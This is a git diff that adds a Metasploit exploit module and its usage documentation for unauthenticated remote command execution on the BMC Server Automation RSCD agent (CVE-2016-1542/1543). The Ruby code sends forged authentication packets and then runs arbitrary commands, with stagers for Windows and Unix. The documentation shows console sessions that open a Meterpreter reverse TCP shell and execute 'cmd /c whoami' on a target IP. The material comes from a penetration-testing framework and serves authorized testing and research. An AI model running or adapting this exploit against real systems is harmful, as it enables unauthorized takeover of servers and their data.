diff --git a/documentation/modules/exploit/multi/misc/bmc_server_automation_rscd_nsh_rce.md b/documentation/modules/exploit/multi/misc/bmc_server_automation_rscd_nsh_rce.md new file mode 100644 index 0000000000..b4b5d3738d --- /dev/null +++ b/documentation/modules/exploit/multi/misc/bmc_server_automation_rscd_nsh_rce.md @@ -0,0 +1,88 @@ +## Description +This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication. + +Affected versions of the BMC RSCD agent fail to enforce authentication controls at the server side enabling a rogue client to send an authentication message, ignore the response, and continue interacting with the agent as though the authentication was successful. This module takes advantage of this vulnerability to execute arbitrary operating system commands using the BMC network shell (NSH) functionality. + +The access control vulnerability itself was identified by Olga Yanushkevich of [ERNW](https://www.ernw.de/) and was assigned [CVE-2016-1542](https://www.cvedetails.com/cve/CVE-2016-1542/) and [CVE-2016-1543](https://www.cvedetails.com/cve/CVE-2016-1543/). Further details can be found at the [ERNW Insinuator website](https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/). + +Technical details of the RCE exploit can be found [here](https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/) and [here](https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/). + +## Vulnerable Application +The module affects the RSCD agent component of [BMC BladeLogic Server Automation](http://www.bmcsoftware.uk/it-solutions/bladelogic-server-automation.html). The agent is installed on servers managed using BMC BladeLogic Server Automation and listens on TCP port 4750. The vulnerability affects versions 8.x below 8.6 SP1 Patch 2, 8.7 Patch 3, and 8.8. More details on affected versions and the fix can be found from the [BMC Knowledgebase](https://selfservice.bmc.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA214000000dBpnCAE&type=Solution). + +## Verification Steps +To use this exploit you will need access to BMC BladeLogic Server Automation. + +1. Install the RSCD agent on a host as detailed in the [BMC documentation](https://docs.bmc.com/docs/ServerAutomation/89/agent-installation-overview-653394992.html). +2. Ensure that the RSCD service is running and listening on TCP port 4750. +3. Launch `msfconsole`. +4. Load the module `use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce`. +5. Select the generic command target `set target 3`. +6. Select a generic command payload `set payload cmd/unix/generic` or `set payload cmd/windows/generic`. +6. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`. +7. Run the exploit `exploit`. + +The result should be that the string `MSF` is returned and output. + +## Usage Scenarios +The exploit module contains several targets as detailed below. + +### Target 0: Automatic +The automatic target causes the module to issue an `agentinfo` request to the target in an attempt to identify the target operating system. If it appears to be a Windows target then the module behaves as though target 1 was selected, otherwise it behaves as though target 2 was selected. + +### Target 1: Windows/VBS Stager +This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell). + + msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84 + RHOST => 34.239.181.84 + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set LHOST 54.164.112.135 + LHOST => 54.164.112.135 + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 1 + TARGET => 1 + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD windows/meterpreter/reverse_tcp + PAYLOAD => windows/meterpreter/reverse_tcp + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit + [*] Exploit running as background job 1. + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > + [*] Started reverse TCP handler on 0.0.0.0:4444 + [*] 34.239.181.84:4750 - Command Stager progress - 8.01% done (8099/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 16.03% done (16198/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 24.04% done (24297/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 32.06% done (32396/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 40.07% done (40495/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 48.09% done (48594/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 56.10% done (56693/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 64.11% done (64792/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 72.13% done (72891/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 80.14% done (80990/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 88.16% done (89089/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 96.17% done (97188/101056 bytes) + [*] 34.239.181.84:4750 - Command Stager progress - 100.00% done (101056/101056 bytes) + [*] Sending stage (179779 bytes) to 34.239.181.84 + [*] Meterpreter session 1 opened (172.31.58.107:4444 -> 34.239.181.84:56233) at 2018-01-14 00:54:49 +0000 + +### Target 2: Unix/Linux +This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same was as target 1. + +### Target 3: Generic Cmd +This target can be used with *cmd* payloads to execute operating system commands against the target host. + + msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84 + RHOST => 34.239.181.84 + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 3 + TARGET => 3 + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD cmd/windows/generic + PAYLOAD => cmd/windows/generic + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set CMD "cmd /c whoami" + CMD => cmd /c whoami + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit + [*] Exploit running as background job 2. + msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > + [+] 34.239.181.84:4750 - Output + ip-ac1f1eb2\bladelogicrscd + +#### Windows Hosts +When using this module target against Windows hosts, non-powershell command lines are limited to around 8,100 characters and generally have to be prefixed with `cmd /c`. +Powershell commands are executed differently and have a much larger length limit of around 32,700 characters. diff --git a/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb b/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb new file mode 100644 index 0000000000..c4f6d7882a --- /dev/null +++ b/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb @@ -0,0 +1,320 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BMC Server Automation RSCD Agent NSH Remote ' \ + 'Command Execution', + 'Description' => %q( + This module exploits a weak access control check in the BMC Server + Automation RSCD agent that allows arbitrary operating system commands + to be executed without authentication. + Note: Under Windows, non-powershell commands may need to be prefixed + with 'cmd /c'. + ), + 'Author' => + [ + 'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery + 'Nicky Bloor (@NickstaDB) ' # RCE payload and Metasploit module + ], + 'References' => + [ + ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'], + ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'], + ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'], + ['CVE', '2016-1542'], + ['CVE', '2016-1543'] + ], + 'DisclosureDate' => 'Mar 16 2016', + 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Platform' => %w[win linux unix], + 'Targets' => + [ + ['Automatic', {}], + [ + 'Windows/VBS Stager', { + 'Platform' => 'win', + 'Payload' => { 'Space' => 8100 } + } + ], + [ + 'Unix/Linux', { + 'Platform' => %w[linux unix], + 'Payload' => { 'Space' => 32_700 } + } + ], + [ + 'Generic Command', { + 'Arch' => ARCH_CMD, + 'Platform' => %w[linux unix win] + } + ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'Payload' => { + 'BadChars' => "\x00\x09\x0a" + }, + 'CmdStagerFlavor' => %w[vbs echo]) + ) + + register_options( + [ + Opt::RPORT(4750) + ] + ) + + deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH') + end + + def check + # Send agentinfo request and check result + print_status('Checking for BMC with agentinfo request.') + res = send_agentinfo_request + if res && !res.empty && res.start_with?('Response: ') + # Check for length field in response packet + res_pkt = res[10..res.length] + if res_pkt.length > 3 + length_field = res_pkt[0..3].unpack('N')[0] + if res_pkt.length - length_field == 4 + # Response packet appears to be in the correct format + print_warning('Unexpected agentinto response. Enable verbose ' \ + 'output for actual response.') + vprint_warning(res) + return Exploit::CheckCode::Unknown + end + end + + # The response wasn't in the expected format, probably not BMC RSCD + print_error('The target does not appear to be a BMC RSCD agent.') + vprint_error(res) + return Exploit::CheckCode::Safe + else + # BMC detected, print platform and return + print_good('BMC RSCD agent detected, platform appears to be ' + res) + return Exploit::CheckCode::Detected + end + end + + def exploit + # Do auto target selection + target_name = target.name + + if target_name == 'Automatic' + # Attempt to detect the target platform + vprint_status('Detecting remote platform for auto target selection.') + platform = send_agentinfo_request + target_name = if platform.downcase.include?('windows') + 'Windows/VBS Stager' + else + 'Unix/Linux' + end + end + + # Exploit based on target + vprint_status('Generating and delivering payload.') + if target_name == 'Windows/VBS Stager' + if payload.raw.start_with?('powershell', 'cmd') + execute_command(payload.raw) + else + execute_cmdstager(flavor: :vbs, linemax: payload.space) + end + handler + elsif target_name == 'Unix/Linux' + execute_cmdstager(flavor: :echo, linemax: payload.space) + handler + elsif target_name == 'Generic Cmd' + send_nexec_request(payload.raw, true) + end + end + + # Execute a command but don't print output + def execute_command(command, opts = {}) + if opts[:flavor] == :vbs + if command.start_with?('powershell') == false + if command.start_with?('cmd') == false + send_nexec_request('cmd /c ' + command, false) + return + end + end + end + send_nexec_request(command, false) + end + + # Connect to the RSCD agent and execute a command via nexec + def send_nexec_request(command, show_output) + # Connect and auth + vprint_status('Connecting to RSCD agent and sending fake auth.') + connect_to_rscd + send_fake_nexec_auth + + # Generate and send the payload + vprint_status('Sending command to execute.') + vprint_status('Command: ' + command) + sock.put(generate_cmd_pkt(command)) + + # Finish the nexec request + sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \ + "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \ + "\x35\x38\x3b\x32\x34\x38\x35\x31") + sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ + "\x30\x30\x30\x30\x32\x65\x7f") + sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ + "\x30\x30\x30\x30\x32\x69\x03") + sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ + "\x30\x30\x30\x30\x32\x74\x31") + sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \ + "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \ + "\x34\x31") + sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \ + "\x30\x30\x30\x30\x31\x7a") + + # Get the response from the RSCD agent and disconnect + vprint_status('Reading response from RSCD agent.') + res = read_cmd_output + if show_output == true + if res && res[0] == 1 + print_good("Output\n" + res[1]) + else + print_warning('Command execution failed, the command may not exist.') + vprint_warning("Output\n" + res[1]) + end + end + disconnect + end + + # Attempt to retrieve RSCD agent info and return the platform string + def send_agentinfo_request + # Connect and send fake auth + vprint_status('Connecting to RSCD agent and sending fake auth.') + connect_to_rscd + send_fake_agentinfo_auth + + # Send agentinfo request, read the response, and disconnect + vprint_status('Requesting agent information.') + sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \ + "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \ + "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \ + "\x31\x30\x30\x30\x30\x30\x30\x30\x30") + res = sock.get_once + disconnect + + # Extract platform from response + return res.split(';')[4] if res && res.split(';').length > 6 + 'Response: ' + res + end + + # Connect to the target and upgrade to an encrypted connection + def connect_to_rscd + connect + sock.put('TLS') + sock.extend(Rex::Socket::SslTcp) + sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23) + sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE + sock.sslctx.options = OpenSSL::SSL::OP_ALL + sock.sslctx.ciphers = 'ALL' + sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx) + sock.sslsock.connect + end + + # Send fake agentinfo auth packet and ignore the response + def send_fake_agentinfo_auth + sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \ + "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \ + "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \ + "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \ + "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \ + "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + + "\x3b\x55\x54\x46\x2d\x38") + sock.get_once + end + + # Send fake nexec auth packet and ignore the response + def send_fake_nexec_auth + sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \ + "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \ + "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \ + "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \ + "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \ + "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \ + "\x54\x46\x2d\x38") + sock.get_once + end + + # Generate a payload packet + def generate_cmd_pkt(command) + # Encode back slashes + pkt = command.gsub('\\', "\xc1\xdc") + + # Encode double quotes unless powershell is being used + pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell') + + # Construct the body of the payload packet + pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \ + "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" + + pad_number(pkt.length) + pkt + + # Prefix with the packet length and return + [pkt.length].pack('N') + pkt + end + + # Convert the given number to a hex string padded to 8 chars + def pad_number(num) + format('%08x', num) + end + + # Read the command output from the server + def read_cmd_output + all_output = '' + response_done = false + + # Read the entire response from the RSCD service + while response_done == false + # Read a response chunk + chunk = sock.get_once + next unless chunk && chunk.length > 4 + chunk_len = chunk[0..3].unpack('N')[0] + chunk = chunk[4..chunk.length] + chunk += sock.get_once while chunk.length < chunk_len + + # Check for the "end of output" chunk + if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \ + "\x61\x30\x30\x30\x30\x30\x30" \ + "\x30\x32\x78") + # Response has completed + response_done = true + elsif all_output == '' + # Keep the first response chunk as-is + all_output += chunk + + # If the command failed, we're done + response_done = true unless all_output[8..15].to_i(16) != 1 + else + # Append everything but the length fields to the output buffer + all_output += chunk[17..chunk.length] + end + end + + # Return output if response indicated success + return [1, all_output[26..all_output.length]] if + all_output && + all_output.length > 26 && + all_output[8..15].to_i(16) == 1 + + # Return nothing if there isn't enough data for error output + return [0, ''] unless all_output && all_output.length > 17 + + # Get the length of the error output and return the error + err_len = all_output[8..15].to_i(16) - 1 + [0, all_output[17..17 + err_len]] + end +end